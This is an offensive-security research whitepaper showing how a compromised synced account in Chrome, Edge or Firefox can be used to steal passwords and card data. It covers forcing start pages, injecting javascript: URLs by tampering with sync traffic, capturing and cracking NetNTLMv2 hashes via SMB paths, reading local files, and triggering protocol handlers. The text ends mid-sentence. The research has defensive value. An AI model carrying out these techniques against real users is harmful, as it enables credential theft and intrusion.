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Abstract 
Cloud synchronized browser settings provide consistent configurations between 
devices. A significant number of these features directly affect the security of the 
browser. If a cloud-synched browser session is compromised, it is trivial to extract 
passwords and credit card information, but it can also be leveraged in unexpected 
ways such as forcing users to browse to malicious URLs. This functionally allows an 
attacker to bypass the social engineering portion of cracking the perimeter by 
guaranteeing that their malicious links are always clicked. However, that is just the 
start of the harm that can be done via synchronized browser sessions. 

In this paper, I will demonstrate several techniques to leverage these settings to wreak 
havoc against an internal network, including credential theft, compromising local data, 
downloading and executing malicious files, and automatically triggering protocol 
handlers to execute attacker-controlled windows applications. 

These problems are significantly worsened by the addition of cloud synchronized 
browser extensions, which can be used to compromise every page the browser 
accesses, allow for circumvention of the browser sandbox to compromise the local 
filesystem, and if the preconditions are right, can trigger remote code execution upon 
the user opening their browser. 
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CORE CONCEPTS 

Browsers have allowed users to synchronize their information between devices since 
20121. The specific details and implementations of each browser synchronisation 
solution are different, but each contain the same key goals, such as syncing browser 
history, passwords, extensions, and settings. As such, if a cloud-sync account is 
compromised, all synchronised data is subsequently compromised, and the attacker 
can modify features like the user’s extensions and settings. 

Upon initial investigation of these features, it became clear that despite the sensitivity 
of these features, very little security measures are commonplace to prevent users from 
synchronising either corporate or personal accounts for use in browsers on corporate 
devices. This is best demonstrated by how session sync was enabled by default on 
Edge when an M365 account was used to sign into the device, leaving some users 
with a synchronized browser that is uploading their data to Microsoft without them 
noticing2. 

One other key point of note with browser synchronisation was how difficult this 
functionality was to identify and prevent within a corporate environment, as all sync 
traffic comes from trusted domains and can be encrypted with a user-defined 
password. Additionally, each browser commonly prompts users to enable cloud sync, 
without any warning of the security implications, leading to many less-technical users 
enabling sync without considering it a potential risk. 

Cloud Synchronization 
As a brief primer on how cloud-sync features work, a synchronised session will send 
update requests to a sync server whenever it has made changes to the user’s state, 
such as adding a page to the history or updating a setting. It will also periodically 
request updates from the sync server to update the current user’s state if any changes 
have been made on another device. Browser settings typically update in real-time, but 
some features require a restart before they are instantiated. 

Non-Synced Settings 
Not all browser settings are synchronised, and the settings that are synchronised are 
different between browser implementations. Most commonly, non-synced settings are 
attributes that are contextual to the device or for security-sensitive settings such as 
specifying the path for downloaded files and setting a web proxy. 

Extensions & Addons 
Browser extensions and addons, which for simplicity will just be called extensions in 
this paper, allow for applications to run within the browser sandbox on every page the 
browser navigates to, can embed resources within the browser, and can modify some 
browser settings. In the past, extensions had the ability to do more powerful actions 
such as loading external code and embedding external web pages within the 
extension3. Due to misuse within these extensions, this capability was subsequently 
limited, and extensions now contain significant vetting processes before they are 
published on their respective app stores. Despite this, malicious extensions are still 

 
1 https://www.malwarebytes.com/blog/news/2021/02/browser-sync-what-are-the-risks-of-turning-it-on 
2 https://www.extremetech.com/internet/329162-microsoft-enables-Edge-sync-by-default-hoovering-up-your-data-in-the-process 
3 https://developer.Chrome.com/docs/extensions/mv2/manifestVersion. 



reasonably common4, as detecting malicious code is never guaranteed. Browsers also 
contain extension testing functionality for development, which allows a user to execute 
untrusted extensions within their browser, however, these extensions are not 
synchronised.  

 
4 https://www.bleepingcomputer.com/news/security/malicious-Chrome-extensions-with-75m-installs-removed-from-web-store/ 



 

METHODOLOGY 

The core of this paper assumes that an attacker has successfully compromised a 
browser account which is configured to synchronise sessions, and that the victim was 
using this browser on a corporate device. As such, common activities such as opening 
a new page, browsing sites, submitting credentials, and occasionally restarting the 
application are assumed. 

The following methods were used to analyse what settings are synchronised: 

• Manual modification of settings within the GUI. 

• Modifying the browser settings files on disk. 

• Interception and modification of the web requests which were used to update 

the settings. 

Depending on the context as to where this browser sync functionality was used by the 
client device, sometimes interacting with the browser normally provided sufficient 
visibility. For a deeper inspection into functionality, Process Monitor5, Wireshark6, and 
Burp Suite7 were used for process, network, and SSL inspection respectively. 

Case studies 
To demonstrate the robust attack-surface these configurations represent, five case 
studies were investigated I will discuss a number of case studies for each of the 
malware delivery methods identified, and their associated preventative measures. 

1. Reconnaissance that could be done passively, including theft of passwords, 

credit cards and personally identifiable information. 

2. The core attack primitive of controlling the user’s start page as a method of 

guaranteeing user navigation to a specified URL.  

3. Using Server Message Block (SMB) and file directives to steal credentials and 

host remote malicious payloads in an unsafe local context. 

4. Using of protocol handlers as a method for triggering the execution of desktop 

applications from a browser context.  

5. The implications of synchronized malicious extensions. 

Versions 
Testing was done on the listed browsers, the version of which can be found below. At 
time of writing, the latest version of each browser was tested. 

• Firefox 113.0.1 (64-bit), Firefox 118.0.1 (64-bit) 

• Chrome Version 117.0.5938.150 (Official Build) (64-bit) 

• Edge Version 117.0.2045.47 (Official build) (64-bit) 

 

 
5 https://learn.microsoft.com/en-us/sysinternals/downloads/procmon 
6 https://www.wireshark.org/ 
7 https://portswigger.net/burp 



Any vulnerabilities which were patched prior to the release of this whitepaper will be 
specified where possible. Each browser uses a unique implementation, as such, their 
specific intricacies and key functionality is discussed below. 

Edge 
By default, sync web traffic was sent to the following endpoint: 

https://Edge.microsoft.com/sync/v1/feeds/me/syncEntities/command/?cl

ient=Chromium&client_id=<ID> 

The sync internals for Edge can be found at the following URL: 

Edge://sync-internals 

 

Chrome 
By default, sync web traffic was sent to the following endpoint: 

https://clients4.google.com/Chrome-

sync/command/?client=Google+Chrome&client_id=<ID> 

The sync internals for Chrome can be found at the following URL: 

Chrome://sync-internals 

 

Firefox 
By default, sync web traffic was sent to the following endpoint: 

sync-1-us-west1-g.sync.services.mozilla.com 

Firefox does not have an equivalent of sync-internals, however, the documentation for 
Firefox sync can be found at: 

https://mozilla-services.readthedocs.io/en/latest/storage/apis-

1.5.html 

Unlike Chrome and Edge, Firefox sync data was encrypted locally by default, meaning 
that the cloud provider did not have a plaintext copy of any information submitted, but 
also cannot perform any server-side validation on it. 

The following extension provided very similar functionality to the sync-internals pages 
found in Edge and Chrome, and as such was used to provide visibility and allow for 
modification of settings at a lower level than the default GUI. 

https://addons.mozilla.org/en-US/Firefox/addon/about-sync/ 

Once installed it could be viewed at about:sync. 

 

 

 

 



Key Terminology 
Extension: Any third-party functionality which can be installed into the browser and 
synced between sessions. Each browser names this functionality slightly differently, 
so Extension will be used as the catch-all. 

Sync-internals: refers to the page within Edge and Chrome that allows viewing of sync 
data from within the GUI. 

About:sync: The similar functionality to sync-internals found within the Firefox about-
sync plugin. 

XSS: Cross Site Scripting (XSS) vulnerabilities occur when an attacker can force 
JavaScript to be executed in a user’s browser in the context of their current session, 
typically resulting in credential compromise. 

CSRF: Cross-Site Request Forgery (CSRF) attacks occur when an attacker forces a 
user to send an attacker-controlled request to a website. If a victim is authenticated to 
the target site, these attacks can use the victims cookies to trigger authenticated state-
changing actions on the site. 

Same-Site Request Forgery: Same-Site Request Forgery Attacks operate identically 
to CSRF attacks but originate from the application that the forged requests are being 
sent to, this allows for circumvention of almost all CSRF prevention methods, but 
requires XSS to exploit, as the malicious JavaScript must be hosted on the target 
application. 

RCE: Remote Code Execution (RCE) refers to any malicious payload that allows for 
arbitrary commands to be run on the victim device from a remote device. Typically this 
will compromise the all data within the context of the user executing the payload. 

Webshell: A persistent backdoor in a web application that allows a remote attacker to 
trigger a Remote Code Execution payload. 

HTML Smuggling: A technique to bypass web gateway blocking and detection by 
downloading a file directly within in a browser page via JavaScript. 

  



CASE STUDY 1: RECON AND PASSIVE 
ATTACKS 

The initial case study evaluated the compromise of data stored within a cloud-sync 
session without any overtly malicious actions. This was done by taking typical actions 
for a cloud-sync session and then observing the accessible data within the account 
through the following methods: 

• Observing the browser GUI. 

• Inspecting sync web requests and responses. 

• Analysing the files on disk. 

• Viewing the data through the about-sync pages. 

Password Theft 
All three tested browsers allowed for trivial compromise of credentials and the 
endpoints to which those credentials were submitted. This could be useful for an 
attacker to identify valid credentials for internal sites to target for subsequent attacks.  

These credentials could be found at the following URLs: 

• Chrome – In older versions this was found at Chrome://settings/passwords, 

but has recently8 changed to Chrome://password-manager/passwords. 

• Edge - Edge://settings/passwords. 

• Firefox - about:logins. 

Chrome and Edge prompted the user to submit their desktop password before showing 
plaintext passwords, this feature did not prevent these attacks, as the attacker would 
control their own device for the following methodologies and could view the sync data 
directly to circumvent this feature. 

Chrome 

Chrome had no feature to automatically save passwords and would prompt the user 
prior to saving a password in the sync session. As such, its main use was for stealing 
passwords that the victim had already saved. 

 
8 https://blog.google/products/chrome/google-chrome-password-manager-new-features/ 



 
Figure 1: Chrome prompting a user to save their password. 

 
Figure 2: Viewing the resultant information in chrome. 

Edge 

The Edge browser cloud-synchronised the feature to automatically save user-
submitted passwords. This allowed an attacker to functionally keylog the user by 
enabling this setting from the attacker session. A full demonstration of this can be 
found in the key results section. 

Firefox: 

With Firefox, no device credentials were required to view the passwords, and it always 
required a user prompt to save them. 



 
Figure 3: Password save prompt in Firefox. 

Interestingly, it also showed when these passwords were last used, which could help 
an attacker triage the order of credentials to attempt. 

 
Figure 4: Viewing login information in Firefox. 

For extra information on how Firefox logged when a user’s password was last used, 
an example of what the data looked like through about:sync is shown below: 



 
Figure 5: The internals of Firefox sync including the timestamps it was last used. 

  



Credit Card Theft 
All three tested browsers allowed for compromise of credit card information, including 
the sites to which those credentials are used. Credit card data was handled with slightly 
higher security than non-password submitted data. 

Browsers appeared to identify if a submitted value was a credit card number by 
checking if it passed the Luhn Algorithm9 test. As such, this measure did not work for 
mistyped credit card numbers, which were stored as different data types, resulting in 
less protections. 

They could be found at the following URLs: 

• Chrome - Chrome://settings/payments 

• Edge - Edge://settings/payments 

• Firefox – This cannot be viewed through the GUI, and must be viewed via 

reading the local files, installing the about:sync extension, or intercepting and 

decrypting sync traffic.  

As with passwords, Chrome and Edge prompted the user to submit their desktop 
password. 

The impact of credit card theft could be very significant, depending on the context of 
the information. If a corporate credit card was saved within a session, the financial 
impact could be significant enough to avoid requiring cracking the perimeter. 
Alternatively, compromising user payment information could cause notable harm to an 
organization in downstream ways. 

Chrome 

Chrome did not cloud synchronise credit card numbers, however, they were stored on 
disk in a retrievable manner. By editing the card, the full credit card number was 
revealed: 

 
Figure 6: Viewing payment data in Chrome. 

 
9 https://en.wikipedia.org/wiki/Luhn_algorithm 



 
Figure 7: Viewing all credit card data except CVV in Chrome. 

 

Edge 

The feature to save payment info without asking was cloud synchronised, however the 
card data was not synchronised without a user explicitly cloud synchronising them. 

 
Figure 8: Feature to automatically save payment info in Edge. 

The only prompt shown to the user when a credit card was saved was a small 
notification in the URL. This faded after approximately one second. 

 



 
Figure 9: Small notification in Edge upon having a card automatically saved. 

This credit card data was not cloud synced until the user explicitly set the credit card 
to sync, which created a new prompt box, as shown below. 

 
Figure 10: Form to submit a card to Sync, including CVV for validation. 

As such, the likelihood of a credit card being accidentally synced was very low. Also 
of note, Edge only allowed for storing valid credit cards, including validating the CVV10. 
This feature was not identified in other browsers. 

 

 
10 https://en.wikipedia.org/wiki/Card_security_code 



Firefox 

Firefox was found to autofill the card number, but the at the time of writing, the 
documentation regarding where to find it was incorrect. The easiest method to retrieve 
this data identified during the case study was via installing about:sync and reading 
the data from the “forms data” table. Alternatively, this could be accessed via 
intercepting web traffic or reading local files, but data was encrypted and would require 
decryption. 

 
Figure 11: Firefox attempting to autofill a Credit Card number. 

The whole credit card data, including the CVV was easily accessible from about:sync. 

 
Figure 12: Full credit card information in autofill data, including CVV. 

 



Personally Identifiable Information Theft 
All three tested browsers allowed for trivial compromise of other Personally Identifiable 
Information (PII) at the following URLS: 

• Chrome - Chrome://addresses  

• Edge - Edge://settings/personalinfo 

• Firefox - about:logins 

A key point about the sensitivity of this data was that mishandled password fields and 
mistyped credit cards could easily end up in this lower security space. Other sensitive 
information that was saved included CVV numbers, which could be considered a PCI-
DSS11 breach. Alternatively, there was commonly sensitive business context and user 
information including passport numbers. 

Chrome 

The easiest method to view user data was through sync-internals, as shown below. 
This data included credit card numbers: 

 
Figure 13: Full credit card information in autofill data, including CVV. 

 
11 https://listings.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf 



Edge 

This user data was easiest to view through sync-internals, as shown below. As Edge 
determined if submitted data was a credit card number based of some form of 
validation, misspelt credit cards were also stored here: 

 

Firefox 

As there was no sync-internals equivalent for Firefox installed, installing the 
about:sync plugin was required to retrieve this data without decrypting the sync data 
on disk on in transit. 



 
Figure 14: Viewing the autofill data via sync-internals. 

 

Currently open browser pages and history 
History may not be considered as valuable as a user’s credentials, however in the 
context of trying to crack the perimeter, gaining information on internal sites could give 
an attacker sufficient information to identify internal services to target for subsequent 
attacks. Key information that could be retrieved this way included the DNS names for 
internal servers and GET parameters used on these servers. 

Chrome 

History could be found in Chrome://history, and showed the hostname, any GET 
parameters submitted with the request, and the title of the page. 

 
Figure 15: Viewing an internal site, and when the user viewed it in history. 

 
Figure 16: Inspecting the HTML on the history page, showing the full GET parameters of the request. 



Edge 

History could be found in Edge at Edge://history/all, and included titles, GET 

parameters, and hostnames. 

 
Figure 17: Viewing history in Edge and inspecting element to see the GET parameters. 

Firefox 

History could be found in Firefox via the GUI at Settings->History->Manage 
History, and provided the title, URL, and parameters: 

 
Figure 18: Viewing history in Firefox, including get parameters. 

 

Key Results 
There was a vast amount of information logged by a default cloud synchronised 
account that could be extremely useful to a dedicated attacker, and a significant 
amount of personal data that could be leveraged by opportunistic attackers. The most 
severe issue identified was the cloud synchronised setting in Edge to force 
synchronisation of passwords. A full example of which can be found in THEFT-2. 
Additionally, the methodology retrieving a user’s passwords and history is discussed 
in THEFT-1 and is pivotal for the remote code exploitation discussed in EXEC-1. 

  



 

CASE STUDY 2: FORCED NAVIGATION 
TECHNIQUES FOR SOCIAL ENGINEERING 

Another key piece of intended functionality with cloud synchronization was the ability 
to set websites to automatically open when the user takes specified actions, such as 
opening the browser. This could be done through a variety of features such as setting 
a user’s start page, homepage, new tab page, and bookmarks. As these features all 
work nearly identically, focus was placed on the start page, as whatever pages are 
configured as the start page will be opened without any additional user actions other 
than reopening the browser. 

By controlling the start page and waiting for the user to restart the browser, an external 
attacker could incubate a number of malicious techniques against the user. These 
effectively circumvent the human interaction step in a social engineering attack, as the 
links will always be browsed to. 

This allows attackers to leverage common phishing techniques from a position of extra 
trust, as the user would not be aware that any malicious activity had taken place. The 
most problematic phishing techniques that were demonstrated were: 

• Directing the user to a legitimate download page for a product, with a secondary 

tab downloading a malicious file from a malicious website. 

• Directing the user to a domain similar to the victim’s previous homepage, with 

an HTML smuggling technique embedded within it. 

• Directing the user to an internal website containing a malicious state-changing 

GET request, the context for which could be identified from the user’s search 

history. 

One key problem initially encountered during this case study was that each browser 
contained client-side validation on some settings. On Chrome and Edge, this was 
circumvented via intercepting the requests in a web proxy and tampering with 
responses.  

In Firefox, the sync updates were encrypted, which made tampering requests difficult. 
Instead, the sync app extension was used, as it allowed writing custom updates without 
the need for request tampering. 

By design, these browsers did not validate data received to the server, as each 
browser allowed for encrypting all sync data with a key on the device, server-side 
validation would be an imperfect solution.  

Malicious Site 
By forcing a user to navigate to a malicious site, an attacker could coerce a user into 
doing all of the exploitation techniques generally expected when a user clicks a 
phishing link, such as XSS, CSRF, and spoofing trusted sites to harvest credentials. 
One minor difference between this and a traditional phishing attack is that the user 
may be less likely to expect a malicious action to be taking place, as they have not 
taken any actions outside of their normal use. 



Chrome 

Chrome allowed for the opening of multiple tabs, which could have reduced the 
visibility of a malicious webpage being opened or could have been used to show a 
webpage and download a file with a secondary web page, allowing the file to appear 
to have been downloaded from the trusted URL. 

Edge 

Edge allowed for the opening of multiple tabs, which could have reduced the visibility 
of a malicious webpage being opened or have been used to show a webpage and 
download a file with a secondary web page, allowing the file to appear to have been 
downloaded from the trusted URL. 

Edge also contained a unique feature to send a URL link from one device to another, 
resulting in a message similar to the following being sent to the other user: 

 
Figure 19: Alert box received on victim device to open a copy of the attacker's tab. 

Firefox 

Firefox allowed for the opening of multiple tabs via use of the “|” character between 
them. For example:  

https://google.com|https://site.internal 

Firefox could also remember how file types were handled and could automatically run 
files of the downloaded filetype if that was how they had been previously handled. 
There were some protections in place to prevent misuse of this feature, such as 
disabling the feature for EXE and MSI files. 

 

Cross-Site Scripting 
Cross-Site Scripting (XSS) attacks occur when an attacker uses a web application to 
send malicious JavaScript code to a user, to undertake malicious actions within the 
context of their browser. This could be exploited to compromise credentials, send 
forged requests, download malicious files, and redirect the user to malicious sites. 
Historically, browsers have allowed JavaScript execution through the URL bar via use 
of the JavaScript: protocol handler, although this has been slowly changing over 
time to combat abuse. 

Chrome 

Chrome allowed the use of the JavaScript protocol handler, via submitting 
JavaScript:<Payload> as the new page URL. JavaScript URLS were disallowed in 
browser GUI, but the sync request itself could be tampered to submit valid payloads. 



 
Figure 20: Chrome client-side check rejecting the javascript: URL. 

By submitting a valid payload and intercepting the sync request in a web proxy, it was 
possible to modify the protobuf to submit an unsafe startup value to be accepted by 
the server: 

Bavascript:alert("Domain:"+document.domain+"\nLocation:"+document.lo
cation) 

javascript:alert("Domain:"+document.domain+"\nLocation:"+document.lo

cation) 

 
Figure 21: Sync request protobuf intercepted by a proxy, prior to modification. 

 
Figure 22: Sync request protobuf intercepted by a proxy, after modification. 

On all other synced devices, the malicious value was saved: 



 
Figure 23: The victim device receiving the JavaScript: startup page from sync. 

Reopening Chrome triggered this JavaScript execution, as shown by the alert box 
generated. 

 
Figure 24: Javascript executing in a domainless context upon reopening the victim browser. 

As this JavaScript execution did not occur in an unsafe domain context, this JavaScript 
could be used similarly to navigating to a malicious website hosting malicious 
JavaScript. The key difference between these techniques was that embedding XSS in 
the start page did not require any outbound connectivity, reducing the artefacts in the 
attack, and guaranteeing that it would not be blocked by domain reputation checks or 
other anti-phishing measures. 

Edge 

In Edge, JavaScript could be stored in the settings via tampering, and it would trigger 
JavaScript in the context of the about:blank page. JavaScript URLs were disallowed 

in browser GUI, but the sync request itself could be tampered to submit valid payloads. 

 
Figure 25:  Edge client-side check rejecting the javascript: URL. 



By submitting a valid payload and intercepting the sync request in a web proxy, it was 
possible to modify the protobuf to submit an unsafe startup value to be accepted by 
the server: 

Bavascript:alert("Domain:"+document.domain+"\nLocation:"+document.lo
cation) 

javascript:alert("Domain:"+document.domain+"\nLocation:"+document.lo

cation) 

 
Figure 26: Sync request protobuf intercepted by a proxy, prior to modification. 

 
Figure 27: Sync request protobuf intercepted by a proxy, after modification from bavascript to 

javascript. 

On all other synced devices, the malicious value was saved: 

 
Figure 28: The victim device receiving the JavaScript: startup page from sync. 

Reopening Edge triggered this JavaScript execution, as shown by the alert box 
generated. 



 
Figure 29: JavaScript executing in a domainless context upon reopening the victim browser. 

As this JavaScript execution did not occur in an unsafe domain context, this JavaScript 
could be used similarly to navigating to a malicious website hosting malicious 
JavaScript. The key difference between these techniques was that embedding XSS in 
the start page did not require any outbound connectivity, reducing the artefacts in the 
attack, and guaranteeing that it would not be blocked by domain reputation checks or 
other anti-phishing measures. 

This JavaScript execution was only activated upon a full restart of Edge. If Edge was 
running in the background, it would not trigger. 

Additionally, the home button feature allowed for JavaScript to be embedded and 
executed within the context of the page the user was currently accessing. This 
functionally allowed for a Universal XSS if the user could be coerced into clicking the 
home button on the attacker specified site. The home button was not enabled by 
default, however, the feature to enable it was also cloud synced. 

Submitting a home button value with a malicious JavaScript payload: 

 
Figure 30: Submitting a JavaScript: protocol in the home button in Edge. 

The resultant JavaScript being executed on the Account.Microsoft.com domain upon 
pressing the home button. 



 
Figure 31: Upon the user clicking the home page, JavaScript is executed in the context of the current 

domain. 

Firefox 

The JavaScript protocol was saved without tampering; however, it did not trigger upon 
the browser opening, opening a new tab, or clicking the home button. 

 
Figure 32: Submitting a JavaScript homepage in Firefox. 

The page was found to be put in a strangely non-interactable state when forced to 
navigate to a JavaScript: protocol, but no meaningful functionality was identified. 



 
Figure 33: Non interactable Firefox page upon reopening the browser. 

 

Key results 
Case study 2 verified the core attack primitive of redirecting a user was successful on 
each browser, which worked as a foundation for the exploitation found in each of the 
EXEC findings. Additionally, the universal XSS found in Edge can be leveraged in 
THEFT-2, however, the likelihood is dramatically reduced due to the user interaction. 

  



CASE STUDY 3: LOCAL FILESYSTEM AND 
NETWORK ATTACKS 

Browsers are not limited to HTTP and HTTPS directives, and neither are the URL-
based settings within these browsers. This allowed for coercing users to navigate to 
local resources and remote file shares, both of which were handled slightly differently 
to how browsers handle websites. For this case study, a remote file share configured 
on the local network, and an Ubuntu server running Responder was used to assess 
how the browser handled remote files, and how browsers handled authentication when 
navigating to a file share. Additionally, several local files were created to test local file 
interactions with browsers. 

Remote File shares 
Remote file shares could be accessed, provided TCP port 445 was accessible 
externally. This could be used to put the victim into a file viewer context with attacker-
controlled content. Despite being handled within the file context rather than the 
browser context, no notable way to leverage files hosted on Share drives was 
identified. However, this external authentication request was susceptible to credential 
coercion attacks via replacing the SMB server with a malicious authentication server 
such as Responder. 

Chrome 

Chrome allowed cloud syncing of file paths with the file: directive without any 

tampering via submitting a malicious URL following the current pattern: 
file://<MALICIOUS URL>/. 



 
Figure 34: Navigating to a file: directive, resulting in a file not found error. 

Edge 

Edge also allowed cloud syncing file paths as a start page entry with the file: 

directive without any tampering via submitting a malicious URL following the current 
pattern – file://< MALICIOUS URL>/. 



 
Figure 35: Navigating to a file: directive, resulting in a file not found error. 

 

 

Firefox 

Firefox contained some limitations when cloud syncing the file directive. The file:// 
directive was not allowed as a home page, however, by submitting an SMB share path, 
Firefox would convert it to a file:// URL. 

The following pattern worked as an example: \\<MALICIOUS URL>/. 

 
Figure 36: Setting the homepage to an SMB path. 



 
Figure 37: Upon restarting the browser, this path was converted to a file URL, resulting in a file not 

found error. 

Credential corrosion and cracking 

Regardless of which browser was used, the result could be used to compromise the 
Net NTLMv2 hash of the user, provided that TCP port 445 outbound was enabled, 
which is less common on robust enterprise environments, but very common on home 
networks, posing a more significant risk for working-from-home users. 

 
Figure 38: Receiving a NetNTLMV2 hash from the victim via Responder. 

Brute forcing these hashes in Hashcat12 could give the attacker local user credentials 
if they could crack the password. These desktop credentials could then be used for 
subsequent attacks: 

 
12 https://github.com/hashcat/hashcat 



 
Figure 39: Cracking the NetNTLMV2 hash in Hashcat to obtain their plaintext device password. 

Coercing authentication this way could also be leveraged for credential relaying 
attacks, however, this would require significantly complex tooling and was out of scope 
for this case study. An additional limitation of relay attacks would be that they cannot 
be relayed to the same device, so an additional internal host would need to be 
identified for relay attacks, and network-level access to that internal host would also 
be required. 

 

Local files 
Local files could be accessed in a browser by specifying the file directive. Depending 
on the path targeted, this may require knowing the victim’s username to specify the 
target path. Eg, the user’s default downloads folder and AppData folders both are 
stored under C:/Users/<Username>/. This could be obtained in the following ways: 

• Inferring based on the information stored in the sync session. 

• Retrieving the username via the credential coercion technique discussed earlier 

in the case study. 

• Extracting data from the C://Users/ directory to retrieve the name of all users 

in the system. 

Typically loading local resources is prevented by the Same Origin Policy, however, 
once a browser is in a file viewing context, they would allow the web page to retrieve 
other local resources. This could be used to read multiple local files from a single web 
page, if the resources can be handled via JavaScript. 

The only method identified for exfiltrating this data was by leveraging JSONP-style 
attacks13. Any file can be loaded as a JavaScript resource, provided it can be 
interpreted as valid JavaScript. By loading a local file that is a valid JavaScript file, or 
can be misinterpreted as one, the browser can read the data within that resource and 
access it via JavaScript, allowing for the file to be exfiltrated. 

As shown in the example below, a “user_pref” function was defined to log all data it 
received, this allowed the prefs.js file to be loaded without error, logging its contents 
to the console. This could also be used to remotely extract the file contents. In the 

 
13 https://payatu.com/blog/jsonp-attack/ 



example below, the prefs.js file was retrieved and logged to the console, 
demonstrating JavaScript reading of this data. 

 
Figure 40: Viewing the prefs.js file, showing it conforms to JavaScript syntax. 

 
Figure 41: The script to load the prefs.js file and write its content to the console. 



 
Figure 42: Accessing the file in the browser, resulting in the data being logged. 

This technique also worked from both a local file to read from a share drive, and from 
a share drive to read a local file. As such, with some user context, an attacker could 
send a user to a share drive containing an html file to exfiltrate local and internal share 
drive files. Demonstrations of this can be found in THEFT-6. 

 

Download and View 
One potential exploitation primitive the file directive provided was the ability to 
download a file and then navigate to it. This could be done via two separate browser 
restarts, one to download the file and the other to access the file. It may be possible to 
do in a single malicious activity if an attacker could circumvent the Same Origin Policy 
(SOP). However, the XSS found in both Edge and Chrome would not navigate to a 
local file from the about:blank context, as such this only worked via hosting a remote 
html file over an SMB share, as this put the browser in a file:// context which could 
be used to circumvent SOP, as discussed in the local files section. 

 



Key Results 
The most notable impacts of case study 3 were the ability to coerce the user to 
authenticate to a malicious authentication server, and the ability to view local files 
within a browser context. The first of which is discussed further in THEFT-5, the latter 
of which is discussed in THEFT-3 and THEFT-4. While neither of these were directly 
exploitable, they were powerful gadgets which could be leveraged when used in 
combination with a malicious file extension as discussed in EXEC-1. Additionally, the 
ability to load local files could be used to exfiltrate information in contrived 
circumstances.  



CASE STUDY 4: PROTOCOL HANDLERS 

In addition to the file:// directive, other protocol handlers could be used within a 
browser URL by forcibly setting the user’s start page to trigger functions outside of the 
browser context. Examples of this include opening video conferencing software such 
as Zoom and Teams via the use of zoom: and ms-teams: respectively. 

 
Figure 43: Submitting the ms-team protocol handler. 

Upon navigating to a protocol handler URL, browsers typically warn the user of the 
application that was about to be opened. 

 
Figure 44: Upon navigating to the protocol handler, a prompt is generated asking to open the external 

application. 

Some Windows protocol handlers are inbuilt to the OS and interact directly with 
windows services, whereas external applications typically spawn a new process using 
the data within the registry to inform the browser on what process to create, and with 
what parameters. In the example shown below, the jnlp: protocol handler would 
spawn the jp2launcher.exe application and embed the entire requested URL in 

place of the “%1”. 



 
Figure 45: The registry key informing browsers how to handle the JNLP protocol handler. 

A sample protocol handler URL and resulting process start command for JNLP have 
been provided for context. Submitting a protocol handler value of the following would 
create a prompt in Chrome asking the user if they wanted to open the external 
application: 

jnlp:https://docs.oracle.com/javase/tutorialJWS/samples/deployment/N
otepadJWSProject/Notepad.jnlp 

 
Figure 46: Launching the JNLP protocol handler in Chrome. 

If the prompt was accepted, the protocol handler was triggered. In this case, creating 
a Java process which itself created another warning prompt. 

 
Figure 47: Upon the user accepting the previous prompt. JP2Launcher is spawned, which creates a 

warning prior to running the remote jar file. 



At this point, regardless of if the user clicks the subsequent link, the JP2Launcher 
process has been spawned by the protocol handler. The Command line context for the 
created process was: 

“C:\Program Files\Java\jre-1.8\bin\jp2launcher.exe" -securejws 
"jnlp:https://docs.oracle.com/javase/tutorialJWS/samples/deployment/
NotepadJWSProject/Notepad.jnlp" 

The full execution chain can be found below: 

 
Figure 48: The execution chain spawned from the JNLP protocol handler. 

Running External Applications 
Running external applications from browsers was an expected feature and was 
typically an accepted risk. As such, browsers prompted the user prior to execution as 
a minor safety measure. Achieving unexpected code execution through these 
protocols is called a Protocol Handling vulnerability and happen frequently14. An 
example of a recent protocol handler vulnerability was a VSCode protocol handler 
vulnerability found in 2022 to achieve code execution15. 

In addition to protocol handler vulnerabilities, some protocols contained known unsafe 
functionality. For example, Microsoft office documents allow opening remote 
documents, and Java allows execution of remote Java files, if the user accepts an 
additional warning prompt. 

Chrome 

Setting the start page to an application handler prompted the user to open the external 
application upon opening Chrome. If the Open <Application> button was pressed, 
the application was executed. If multiple pages containing protocol handlers were 
created upon the browser starting, only the first one was triggered. The ldap:// 
handler is used here as an example. 

 
Figure 49: The ldap: protocol handler is triggered upon restarting Chrome. 

 

 
14 https://fieldeffect.com/blog/details-on-microsoft-windows-protocol-handlers-abuse-publicly-available 
15 https://www.mdsec.co.uk/2023/08/leveraging-vscode-extensions-for-initial-access/ 



 
Figure 50: Upon clicking the Open Windows Contacts button, the resultant Find People application is 

executed. 

Edge 

Setting the start page to an application handler prompted the user to open the external 
application upon opening Edge. If the Open <Application> button was pressed, the 
application was executed. If multiple pages containing protocol handlers were created 
upon the browser starting, only the first one was triggered. The ldap:// handler is 
used here as an example. 

 
Figure 51: The ldap: protocol handler is triggered upon restarting Edge. 

 
Figure 52: Upon clicking the Open Windows Contacts button, the resultant Find People application is 

executed. 

This protocol handler execution was only activated upon a full restart of Edge. If Edge 
was running in the background, it would not trigger. 



 

Firefox 

Firefox triggered application handlers based off a file stored in the profile called 
“handlers.json”. If it encountered an application handler that it had not seen before, 
it would query the registry, and add it to the handlers file without executing it. Then, 
upon subsequent executions it would execute. As an example, the first time the ldap: 
protocol handler was navigated to on Firefox, the following line was be added to the 
“handlers.json” file: 

,"ldap":{"action":4} 

Resulting in a handlers file similar to the following: 

 
Figure 53: The handlers.json file with the added config for the ldap protocol handler. 

Once added to the handlers file, Firefox would use the default handler from windows.  

Firefox has a blocklist16 of external protocol handlers that can’t be triggered, including 
the ms-cxh and ms-cxh-full which used to be able to blackscreen some windows 
versions17.  

 

 

DOS 
Whilst not a particularly useful primitive, attackers could lock users out of their 
accounts by setting the homepage to protocols that crashed the browser. The most 
notable use case for this was to prevent users from identifying they’ve been 
compromised by preventing them from accessing their account. 

Chrome 

For Chrome, this could be done via a debugging protocol such as “Chrome://quit” 

There was a client-side protection against this, which used an explicit blocklist of 
chrome:// URLs which could not be saved in settings. However, this was 

circumvented via submitting an allowed value and modifying it through a web proxy to 
a disallowed value. As the device which submitted the tampered request had no 
visibility that the request was tampered, it would believe it had the correct state, and 
would not update itself to the unsafe value. This prevented the attacker device from 
receiving the malicious sync value, making the attack only affect the victim. 

Edge 

For Edge, this could be done via a debugging protocol such as “Edge://quit”. 

As with Chrome, there was a client-side protection against this, which used an explicit 
blocklist of chrome:// and edge:// URLs which could not be saved in settings. 

 
16 https://hg.mozilla.org/releases/mozilla-beta/file/e199af712ade1166697d7273a174407ae50d38b7/modules/libpref/init/all.js 
17 https://www.mozilla.org/en-US/security/advisories/mfsa2023-17/#CVE-2023-32214 



However, this was circumvented via submitting an allowed value and modifying it 
through a web proxy to a disallowed value. As the device which submitted the 
tampered request had no visibility that the request was tampered, it would believe it 
had the correct state, and would not update itself to the unsafe value. This prevented 
the attacker device from receiving the malicious sync value, making the attack only 
